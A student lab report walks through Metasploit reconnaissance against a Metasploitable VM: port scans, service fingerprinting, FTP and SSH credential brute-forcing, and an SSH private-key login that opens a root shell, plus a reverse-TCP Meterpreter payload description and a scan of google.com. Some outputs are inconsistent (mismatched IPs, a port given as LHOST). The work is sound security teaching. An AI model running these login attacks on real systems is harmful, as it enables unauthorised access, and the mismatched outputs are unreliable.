

ARYAMAN MISHRA

19BCE1027

LAB 5

INFORMATION GATHERING USING Metasploit

Access Framework folder:

```
(root@kali)~# cd /usr/share/metasploit-framework/
```

View Contents of Folder:

```
(root@kali)~/usr/share/metasploit-framework# ls
app      data      documentation  Gemfile.lock  metasploit-framework.gemspec  msfconsole  msfdb      msfrpc      msfupd
config   db         Gemfile        lib           modules         msfd        msf-json-rpc.ru  msfrpcd    msfven
```

Access Modules folder:

```
(root@kali)~/usr/share/metasploit-framework# cd modules
```

View Contents of Folder:

```
(root@kali)~/usr/share/metasploit-framework/modules# ls
auxiliary  encoders  evasion    exploits   nops      payloads  post
```

Connect to Database:

```
(root@kali)~/usr/share/metasploit-framework/modules# service postgresql start
```

Check database status:

```
(root@kali)~/usr/share/metasploit-framework/modules# service postgresql status
● postgresql.service - PostgreSQL RDBMS
   Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
   Active: active (exited) since Sat 2021-10-09 10:58:08 EDT; 5s ago
     Process: 1215 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
    Main PID: 1215 (code=exited, status=0/SUCCESS)
      CPU: 1ms

Oct 09 10:58:08 kali systemd[1]: Starting PostgreSQL RDBMS ...
Oct 09 10:58:08 kali systemd[1]: Finished PostgreSQL RDBMS.
```

Launch Metasploit:

```
(root@kali)-[/usr/share/metasploit-framework/modules]
# msfconsole

# cowsay++

< metasploit >

      \      (oo)____
       \      (__)  )\
        ||____||  *

      =[ metasploit v6.0.30-dev                               ]
+ -- --=[ 2099 exploits - 1129 auxiliary - 357 post           ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops              ]
+ -- --=[ 7 evasion                                           ]

Metasploit tip: Use help <command> to learn more
about any command
```

View commands:

```
msf6 > help

Core Commands
=====

```

Command	Description
?	Help menu
banner	Display an awesome metasploit banner
cd	Change the current working directory
color	Toggle color
connect	Communicate with a host
debug	Display information useful for debugging
exit	Exit the console
features	Display the list of not yet released features that can be opted in to
get	Gets the value of a context-specific variable
getg	Gets the value of a global variable
grep	Grep the output of another command
help	Help menu
history	Show command history
load	Load a framework plugin
quit	Exit the console
repeat	Repeat a list of commands
route	Route traffic through a session
save	Saves the active datastores
sessions	Dump session listings and display information about sessions
set	Sets a context-specific variable to a value
setg	Sets a global variable to a value
sleep	Do nothing for the specified number of seconds
spool	Write console output into a file as well the screen
threads	View and manipulate background threads
tips	Show a list of useful productivity tips
unload	Unload a framework plugin
unset	Unsets one or more context-specific variables
unsetg	Unsets one or more global variables
version	Show the framework and console library version numbers

Module Commands

Command	Description
advanced	Displays advanced options for one or more modules
back	Move back from the current context
clearm	Clear the module stack
info	Displays information about one or more modules
listm	List the module stack
loadpath	Searches for and loads modules from a path
options	Displays global options or for one or more modules
popm	Pops the latest module off the stack and makes it active
previous	Sets the previously loaded module as the current module
pushm	Pushes the active or list of modules onto the module stack
reload_all	Reloads all modules from all defined module paths
search	Searches module names and descriptions
show	Displays modules of a given type, or all modules
use	Interact with a module by name or search term/index

Job Commands

Command	Description
handler	Start a payload handler as job
jobs	Displays and manages jobs
kill	Kill a job
rename_job	Rename a job

Resource Script Commands

Command	Description
makerc	Save commands entered since start to a file
resource	Run the commands stored in a file

Database Backend Commands

Command	Description
analyze	Analyze database information about a specific address or address range
db_connect	Connect to an existing data service
db_disconnect	Disconnect from the current data service
db_export	Export a file containing the contents of the database
db_import	Import a scan result file (filetype will be auto-detected)
db_nmap	Executes nmap and records the output automatically
db_rebuild_cache	Rebuilds the database-stored module cache (deprecated)
db_remove	Remove the saved data service entry
db_save	Save the current data service connection as the default to reconnect on startup
db_status	Show the current data service status
hosts	List all hosts in the database
loot	List all loot in the database
notes	List all notes in the database
services	List all services in the database
vulns	List all vulnerabilities in the database
workspace	Switch between database workspaces

Credentials Backend Commands

Command	Description
creds	List all credentials in the database

Developer Commands

Command	Description
edit	Edit the current module or a file with the preferred editor
irb	Open an interactive Ruby shell in the current context
log	Display framework.log paged to the end if possible
pry	Open the Pry debugger on the current module or Framework
reload_lib	Reload Ruby library files from specified paths

msfconsole

`msfconsole` is the primary interface to Metasploit Framework. There is quite a lot that needs go here, please be patient and keep an eye on this space!

Building ranges and lists

Many commands and options that take a list of things can use ranges to avoid having to manually list each desired thing. All ranges are inclusive.

Ranges of IDs

Commands that take a list of IDs can use ranges to help. Individual IDs must be separated by a `,` (no space allowed) and ranges can be expressed with either `-` or `..`.

Ranges of IPs

There are several ways to specify ranges of IP addresses that can be mixed together. The first way is a list of IPs separated by just a ` ` (ASCII space), with an optional `,`. The next way is two complete IP addresses in the form of `BEGINNING_ADDRESS-END_ADDRESS` like `127.0.1.44-127.0.2.33`. CIDR specifications may also be used, however the whole address must be given to Metasploit like `127.0.0.0/8` and not `127/8`, contrary to the RFC. Additionally, a netmask can be used in conjunction with a domain name to dynamically resolve which block to target. All these methods work for both IPv4 and IPv6 addresses. IPv4 addresses can also be specified with special octet ranges from the [NMAP target specification](<https://nmap.org/book/man-target-specification.html>)

Examples

Terminate the first sessions:

```
sessions -k 1
```

Stop some extra running jobs:

```
jobs -k 2-6,7,8,11..15
```

Check a set of IP addresses:

```
check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255
```

Target a set of IPv6 hosts:

```
set RHOSTS fe80::3990:0000/110, ::1-::f0f0
```

Target a block from a resolved domain name:

```
set RHOSTS www.example.test/24
```

You can change banner of Metasploit using banner command:

```
msf6 > banner
```

```
00.:0k000kdc' 'cdk000ko:.  
.x0000000000000c c000000000000x.  
:000000000000000k, ,k000000000000000:  
'000000000k00000: :0000000000000000'  
o00000000.MMMM.o0000o0000l.MMMM,00000000o  
d00000000.MMMMMM.c00000c.MMMMMM,00000000x  
l00000000.MMMMMMMMM;d;MMMMMMMMM,00000000l  
.00000000.MMM.;MMMMMMMMMMMMM;MMM,00000000.  
c0000000.MMM.00c.MMMMM'o00.MMM,0000000c  
o000000.MMM.0000.MMM:0000.MMM,000000o  
l00000.MMM.0000.MMM:0000.MMM,00000l  
;0000'MMM.0000.MMM:0000.MMM;0000;  
.d00o'WM.0000occcX0000.MX'x00d.  
,kol'M.0000000000000.M'dok,  
:kk;.0000000000000.;ok:  
;k000000000000000k:  
,x000000000000x,  
.l0000000l.  
,d0d,  
.
```

```
= [ metasploit v6.0.30-dev ]  
+ -- -- [ 2099 exploits - 1129 auxiliary - 357 post ]  
+ -- -- [ 592 payloads - 45 encoders - 10 nops ]  
+ -- -- [ 7 evasion ]
```

Metasploit tip: To save all commands executed since start up to a file, use the `makerc` command

[illegible]

```
msf6 > version
Framework: 6.0.30-dev
Console   : 6.0.30-dev
```

```
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
```

```
msf6 > sessions

Active sessions
=====

File System
No active sessions.
```

command can be used for generating payloads to be used in many locations:

```
msf6 > info payload/windows/meterpreter/reverse_tcp

Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Module: payload/windows/meterpreter/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 296
Rank: Normal

Provided by:
skape <mmiller@hick.org>
sf <stephen_fewer@harmonysecurity.com>
OJ Reeves
hdm <x@hdm.io>

Basic options:
Name      Current Setting  Required  Description
-----
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     4444             yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Description:
Inject the Meterpreter server DLL via the Reflective DLL Injection
payload (staged). Requires Windows XP SP2 or newer. Connect back to
the attacker
```

TCP:

View options and set Host Address, Ports and Threads:

```
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name      Current Setting  Required  Description
-----
CONCURRENCY 10              yes       The number of concurrent ports to check per host
DELAY       0               yes       The delay between connections, per thread, in milliseconds
JITTER      0               yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds
PORTS       1-10000         yes       Ports to scan (e.g. 22-25,80,110-900)
RHOSTS      192.168.56.101  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file'
THREADS     1               yes       The number of concurrent threads (max one per host)
TIMEOUT     1000            yes       The socket connect timeout in milliseconds

msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.29.89
RHOSTS => 192.168.29.89
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 1-1000
PORTS => 1-1000
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 5
THREADS => 5

msf6 auxiliary(scanner/portscan/tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name      Current Setting  Required  Description
-----
CONCURRENCY 10              yes       The number of concurrent ports to check per host
DELAY       0               yes       The delay between connections, per thread, in milliseconds
JITTER      0               yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds
PORTS       1-1000          yes       Ports to scan (e.g. 22-25,80,110-900)
RHOSTS      192.168.29.89   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file'
THREADS     5               yes       The number of concurrent threads (max one per host)
TIMEOUT     1000            yes       The socket connect timeout in milliseconds
```

Run with above configuration:

```
msf6 auxiliary(scanner/portscan/tcp) > run

[+] 192.168.29.89:      - 192.168.29.89:23 - TCP OPEN
[+] 192.168.29.89:      - 192.168.29.89:21 - TCP OPEN
[+] 192.168.29.89:      - 192.168.29.89:22 - TCP OPEN
[+] 192.168.29.89:      - 192.168.29.89:25 - TCP OPEN
[+] 192.168.29.89:      - 192.168.29.89:53 - TCP OPEN
[+] 192.168.29.89:      - 192.168.29.89:80 - TCP OPEN
[+] 192.168.29.89:      - 192.168.29.89:111 - TCP OPEN
[+] 192.168.29.89:      - 192.168.29.89:139 - TCP OPEN
[+] 192.168.29.89:      - 192.168.29.89:445 - TCP OPEN
[+] 192.168.29.89:      - 192.168.29.89:514 - TCP OPEN
[+] 192.168.29.89:      - 192.168.29.89:513 - TCP OPEN
[+] 192.168.29.89:      - 192.168.29.89:512 - TCP OPEN
[*] 192.168.29.89:      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/portscan/tcp) > back
```

UDP:

The UDP Service Sweeper auxiliary module allows us to detect interesting UDP services. Since UDP is a connectionless protocol, it is more difficult to probe than TCP. Using an auxiliary module like the UDP Service Sweeper can help you find some low-hanging fruit, in a timely manner. The **udp_sweep** module scans across a given range of hosts to detect commonly available UDP services. To configure this module, we just need to set the RHOSTS and THREADS values and run it.

```
msf6 > use auxiliary/scanner/discovery/udp_sweep
msf6 auxiliary(scanner/discovery/udp_sweep) > show options

Module options (auxiliary/scanner/discovery/udp_sweep):

  Name      Current Setting  Required  Description
  ---      -
  BATCHSIZE 256              yes       The number of hosts to probe in each set
  RHOSTS    192.168.29.89    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<
  THREADS   10               yes       The number of concurrent threads

msf6 auxiliary(scanner/discovery/udp_sweep) > set RHOSTS 192.168.29.89
RHOSTS => 192.168.29.89
msf6 auxiliary(scanner/discovery/udp_sweep) > set THREADS 10
THREADS => 10
msf6 auxiliary(scanner/discovery/udp_sweep) > run

msf6 auxiliary(scanner/discovery/udp_sweep) > run

[*] Sending 13 probes to 192.168.29.89→192.168.29.89 (1 hosts)
[*] Discovered NetBIOS on 192.168.29.89:137 (METASPLOITABLE:<00>:U :METASPLOITABLE:<03>:U :METASPLOITABLE:<20>:U :__M
[*] Discovered Portmap on 192.168.29.89:111 (100000 v2 TCP(111), 100000 v2 UDP(111), 100024 v1 UDP(57000), 100024 v1
00021 v4 UDP(32786), 100003 v2 TCP(2049), 100003 v3 TCP(2049), 100003 v4 TCP(2049), 100021 v1 TCP(51971), 100021 v3 T
100005 v3 UDP(45420), 100005 v3 TCP(37437))
[*] Discovered DNS on 192.168.29.89:53 (BIND 9.4.2)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```
msf6 auxiliary(scanner/discovery/udp_sweep) > back
```


FTP:

The **ftp_login** auxiliary module will scan a range of IP addresses attempting to log in to FTP servers.

```
msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(scanner/ftp/ftp_login) > show options

Module options (auxiliary/scanner/ftp/ftp_login):
```

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
PASSWORD		no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RECORD_GUEST	false	no	Record anonymous/guest logins to the database
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file with syntax
RPORT	21	yes	The target port (TCP)
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME		no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

```
msf6 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 192.168.29.89
RHOSTS => 192.168.29.89
msf6 auxiliary(scanner/ftp/ftp_login) > set USERPASS_FILE /root/Desktop/user.txt
USERPASS_FILE => /root/Desktop/user.txt
msf6 auxiliary(scanner/ftp/ftp_login) > show options

Module options (auxiliary/scanner/ftp/ftp_login):
```

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
PASSWORD		no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RECORD_GUEST	false	no	Record anonymous/guest logins to the database
RHOSTS	192.168.29.89	yes	The target host(s), range CIDR identifier, or hosts file with
syntax 'file:<path>'			
RPORT	21	yes	The target port (TCP)
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME		no	A specific username to authenticate as
USERPASS_FILE	/root/Desktop/user.txt	no	File containing users and passwords separated by space, one pa
ir per line			
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

```
msf6 auxiliary(scanner/ftp/ftp_login) > set USERPASS_FILE /root/Desktop/user.txt
USERPASS_FILE => /root/Desktop/user.txt
```

This module can take both wordlists and user-specified credentials in order to attempt to login.

```
msf6 auxiliary(scanner/ftp/ftp_login) > run
```

```
[*] 192.168.29.89:21 - 192.168.29.89:21 - Starting FTP login sweep
[-] 192.168.29.89:21 - 192.168.29.89:21 - LOGIN FAILED: user: (Incorrect: )
[-] 192.168.29.89:21 - 192.168.29.89:21 - LOGIN FAILED: user: (Incorrect: )
[-] 192.168.29.89:21 - 192.168.29.89:21 - LOGIN FAILED: admin: (Incorrect: )
[-] 192.168.29.89:21 - 192.168.29.89:21 - LOGIN FAILED: admin: (Incorrect: )
[-] 192.168.29.89:21 - 192.168.29.89:21 - LOGIN FAILED: user123: (Incorrect: )
[-] 192.168.29.89:21 - 192.168.29.89:21 - LOGIN FAILED: user123: (Incorrect: )
[+] 192.168.29.89:21 - 192.168.29.89:21 - Login Successful: anonymous:
[*] 192.168.29.89:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```
msf6 auxiliary(scanner/ftp/ftp_login) > back
```

The **ftp_version** module simply scans a range of IP addresses and determines the version of any FTP servers that are running. To setup the module, we just set our RHOSTS and THREADS values and let it run.

```
msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 auxiliary(scanner/ftp/ftp_version) > info
```

```
Name: FTP Version Scanner
Module: auxiliary/scanner/ftp/ftp_version
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm <x@hdm.io>

Check supported:
No

Basic options:
```

Name	Current Setting	Required	Description
FTPPASS	mozilla@example.com	no	The password for the specified username
FTPUSER	anonymous	no	The username to authenticate as
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT	21	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)

Description:
Detect FTP Version.

```
msf6 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.29.89
RHOSTS => 192.168.29.89
```

```
msf6 auxiliary(scanner/ftp/ftp_version) > show options
```

Module options (auxiliary/scanner/ftp/ftp_version):

Name	Current Setting	Required	Description
FTPPASS	mozilla@example.com	no	The password for the specified username
FTPUSER	anonymous	no	The username to authenticate as
RHOSTS	192.168.29.89	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT	21	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)

```
msf6 auxiliary(scanner/ftp/ftp_version) > set THREADS 5
THREADS => 5
```

```
msf6 auxiliary(scanner/ftp/ftp_version) > show options

Module options (auxiliary/scanner/ftp/ftp_version):
```

Name	Current Setting	Required	Description
FTPPASS	mozilla@example.com	no	The password for the specified username
FTPUSER	anonymous	no	The username to authenticate as
RHOSTS	192.168.29.89	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file'
RPORT	21	yes	The target port (TCP)
THREADS	5	yes	The number of concurrent threads (max one per host)

```
msf6 auxiliary(scanner/ftp/ftp_version) > run

[+] 192.168.29.89:21 - FTP Banner: '220 (vsFTPd 2.3.4)\x0d\x0a'
[*] 192.168.29.89:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ftp/ftp_version) > back
```

HTTP:

The **http_version** scanner will scan a range of hosts and determine the web server version that is running on them.

```
msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(scanner/http/http_version) > show options

Module options (auxiliary/scanner/http/http_version):
```

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:pa
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	1	yes	The number of concurrent threads (max one per host)
VHOST		no	HTTP server virtual host

```
msf6 auxiliary(scanner/http/http_version) > set RHOSTS 192.168.29.89
RHOSTS => 192.168.29.89
msf6 auxiliary(scanner/http/http_version) > show options

Module options (auxiliary/scanner/http/http_version):
```

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.29.89	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:pa
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	1	yes	The number of concurrent threads (max one per host)
VHOST		no	HTTP server virtual host

```
msf6 auxiliary(scanner/http/http_version) > set THREADS 5
THREADS => 5
msf6 auxiliary(scanner/http/http_version) > show options

Module options (auxiliary/scanner/http/http_version):
```

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.29.89	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:pa
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	5	yes	The number of concurrent threads (max one per host)
VHOST		no	HTTP server virtual host

To run the scan, we set the RHOSTS and THREADS values and let it run.

```
msf6 auxiliary(scanner/http/http_version) > run

[+] 192.168.29.89:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/http_version) > back
msf6 > use auxiliary/scanner/http/backup_file
msf6 auxiliary(scanner/http/backup_file) > show options

Module options (auxiliary/scanner/http/backup_file):
```

Name	Current Setting	Required	Description
PATH	/index.asp	yes	The path/file to identify backups
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<pa
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	1	yes	The number of concurrent threads (max one per host)
VHOST		no	HTTP server virtual host

```
msf6 auxiliary(scanner/http/backup_file) > set RHOSTS 192.168.29.89
RHOSTS => 192.168.29.89
msf6 auxiliary(scanner/http/backup_file) > set THREADS 5
THREADS => 5
msf6 auxiliary(scanner/http/backup_file) > show options

Module options (auxiliary/scanner/http/backup_file):
```

Name	Current Setting	Required	Description
PATH	/index.asp	yes	The path/file to identify backups
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.29.89	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<pa
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	5	yes	The number of concurrent threads (max one per host)
VHOST		no	HTTP server virtual host

SSH(SECURE SHELL):

The **ssh_login** module is quite versatile in that it can not only test a set of credentials across a range of IP addresses, but it can also perform brute force login attempts. We will pass a file to the module containing usernames and passwords separated by a space as shown below. Next, we load up the scanner module in Metasploit and set USERPASS_FILE to point to our list of credentials to attempt.

```
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):



| Name             | Current Setting | Required | Description                                            |
|------------------|-----------------|----------|--------------------------------------------------------|
| BLANK_PASSWORDS  | false           | no       | Try blank passwords for all users                      |
| BRUTEFORCE_SPEED | 5               | yes      | How fast to brute force, from 0 to 5                   |
| DB_ALL_CREDS     | false           | no       | Try each user/password couple stored in the current    |
| DB_ALL_PASS      | false           | no       | Add all passwords in the current database to the list  |
| DB_ALL_USERS     | false           | no       | Add all users in the current database to the list      |
| PASSWORD         |                 | no       | A specific password to authenticate with               |
| PASS_FILE        |                 | no       | File containing passwords, one per line                |
| RHOSTS           |                 | yes      | The target host(s), range CIDR identifier, or hosts    |
| 'file:<path>'    |                 |          |                                                        |
| RPORT            | 22              | yes      | The target port                                        |
| STOP_ON_SUCCESS  | false           | yes      | Stop guessing when a credential works for a host       |
| THREADS          | 1               | yes      | The number of concurrent threads (max one per host)    |
| USERNAME         |                 | no       | A specific username to authenticate as                 |
| USERPASS_FILE    |                 | no       | File containing users and passwords separated by space |
| line             |                 |          |                                                        |
| USER_AS_PASS     | false           | no       | Try the username as the password for all users         |
| USER_FILE        |                 | no       | File containing usernames, one per line                |
| VERBOSE          | false           | yes      | Whether to print output for all attempts               |



msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.29.89
RHOSTS => 192.168.29.89
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /root/Desktop/user.txt
USERPASS_FILE => /root/Desktop/user.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/ssh/ssh_login) > run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

With everything ready to go, we run the module.

SSH_LOGIN_PUBKEY

Using public key authentication for SSH is highly regarded as being far more secure than using usernames and passwords to authenticate. The caveat to this is that if the private key portion of the key pair is not kept secure, the security of the configuration is thrown right out the window. If, during an engagement, you get access to a private SSH key, you can use the **ssh_login_pubkey** module to attempt to login across a range of devices.


```

msf6 auxiliary(scanner/ssh/ssh_login) > back
msf6 > use auxiliary/scanner/ssh/ssh_login_pubkey
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > show options

Module options (auxiliary/scanner/ssh/ssh_login_pubkey):



| Name             | Current Setting | Required | Description                                           |
|------------------|-----------------|----------|-------------------------------------------------------|
| BRUTEFORCE_SPEED | 5               | yes      | How fast to bruteforce, from 0 to 5                   |
| DB_ALL_CREDS     | false           | no       | Try each user/password couple stored in the current   |
| DB_ALL_PASS      | false           | no       | Add all passwords in the current database to the list |
| DB_ALL_USERS     | false           | no       | Add all users in the current database to the list     |
| KEY_PASS         |                 | no       | Passphrase for SSH private key(s)                     |
| KEY_PATH         |                 | yes      | Filename or directory of cleartext private keys. Fil  |



with a dot, or ending in ".pub" will be skipped.
RHOSTS
'file:<path>'
RPORT
STOP_ON_SUCCESS
THREADS
USERNAME
USER_FILE
VERBOSE

msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set KEY_FILE /tmp/id_rsa
KEY_FILE => /tmp/id_rsa
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set USERNAME root
USERNAME => root
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set RHOSTS 192.168.29.89
RHOSTS => 192.168.29.89
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > run

```

```

[*] 192.168.89.29:22 - SSH - Testing Cleartext Keys
[*] 192.168.89.29:22 - SSH - Trying 1 cleartext key per user.
[*] Command shell session 1 opened (?? -> ??) at 2021-09-10 17:17:56 -0600
[+] 192.168.1.154:22 - SSH - Success: 'root!' '57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a' 'uid=0(root) gid=0(root) groups=0(root) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login_pubkey) > sessions -i 1
[*] Starting interaction with 1...

ls
reset_logs.sh
id
uid=0(root) gid=0(root) groups=0(root)
exit
[*] Command shell session 1 closed.

```

SSL:

The `ssl` module queries a host or range of hosts and pull the SSL certificate information if present.

```
msf6 auxiliary(scanner/http/backup_file) > run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/backup_file) > back
msf6 > use auxiliary/scanner/http/ssl
msf6 auxiliary(scanner/http/ssl) > show options

Module options (auxiliary/scanner/http/ssl):
```

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<pa
RPORT	443	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)

```
msf6 auxiliary(scanner/http/ssl) > set RHOSTS google.com
RHOSTS => google.com
msf6 auxiliary(scanner/http/ssl) > show options

Module options (auxiliary/scanner/http/ssl):
```

Name	Current Setting	Required	Description
RHOSTS	google.com	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<pa
RPORT	443	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)

To configure the module, we set our RHOSTS and THREADS values and let it run.

```
msf6 auxiliary(scanner/http/ssl) > set THREADS 5
THREADS => 5
msf6 auxiliary(scanner/http/ssl) > run

[*] 172.217.166.238:443 - Subject: /OU=No SNI provided; please fix your client./CN=invalid2.invalid
[*] 172.217.166.238:443 - Issuer: /OU=No SNI provided; please fix your client./CN=invalid2.invalid
[*] 172.217.166.238:443 - Signature Alg: sha256WithRSAEncryption
[*] 172.217.166.238:443 - Public Key Size: 2048 bits
[*] 172.217.166.238:443 - Not Valid Before: 2015-01-01 00:00:00 UTC
[*] 172.217.166.238:443 - Not Valid After: 2030-01-01 00:00:00 UTC
[+] 172.217.166.238:443 - Certificate contains no CA Issuers extension... possible self signed certificate
[+] 172.217.166.238:443 - Certificate Subject and Issuer match... possible self signed certificate
[*] 172.217.166.238:443 - Has common name invalid2.invalid
[*] google.com:443 - Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/ssl) >
```

SMTP:

The SMTP Enumeration module will connect to a given mail server and use a wordlist to enumerate users that are present on the remote system.

```
msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > show options

Module options (auxiliary/scanner/smtp/smtp_enum):
```

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), range CIDR
identifier, or hosts file with syntax 'file:<path>'			
RPORT	25	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threa
ds (max one per host)			
UNIXONLY	true	yes	Skip Microsoft bannered server
s when testing unix users			
USER_FILE	/usr/share/metasploit-framework/data/wordlists/unix_users.txt	yes	The file that contains a list
of probable users accounts.			

```
msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 192.168.29.89
RHOSTS => 192.168.29.89
msf6 auxiliary(scanner/smtp/smtp_enum) > run

[*] 192.168.29.89:25 - 192.168.29.89:25 Banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
```

Since the email username and system username are frequently the same, you can now use any enumerated users for further logon attempts against other network services.

Poorly configured or vulnerable mail servers can often provide an initial foothold into a network but prior to launching an attack, we want to fingerprint the server to make our targeting as precise as possible.

The **smtp_version** module, as its name implies, will scan a range of IP addresses and determine the version of any mail servers it encounters.

```
msf6 > use auxiliary/scanner/smtp/smtp_version
msf6 auxiliary(scanner/smtp/smtp_version) > show options

Module options (auxiliary/scanner/smtp/smtp_version):
```

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<pa
RPORT	25	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)

```
msf6 auxiliary(scanner/smtp/smtp_version) > set RHOSTS 192.168.29.89
RHOSTS => 192.168.29.89
msf6 auxiliary(scanner/smtp/smtp_version) > set THREADS 254
THREADS => 254
msf6 auxiliary(scanner/smtp/smtp_version) > run

